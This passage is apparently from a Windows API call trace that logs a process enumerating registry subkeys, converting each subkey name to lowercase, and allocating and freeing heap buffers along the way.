lpName="EventForwarding") returned 0x0 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.773] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xa9b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.774] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xa9b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.774] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xa9b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.774] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xa9b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0136.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.775] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xa9b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.775] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xa9b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.775] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xa9b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.776] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xa9b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.776] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xa9b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.776] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xa9b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xa9c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.777] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xa9b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.777] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xa9b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.777] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xa9b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.777] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xa9b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.778] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xa9b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.778] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xa9b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.778] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xa9b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xa9c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.778] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xa9b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0136.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.779] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xa9b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xa9c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.779] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xa9b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) 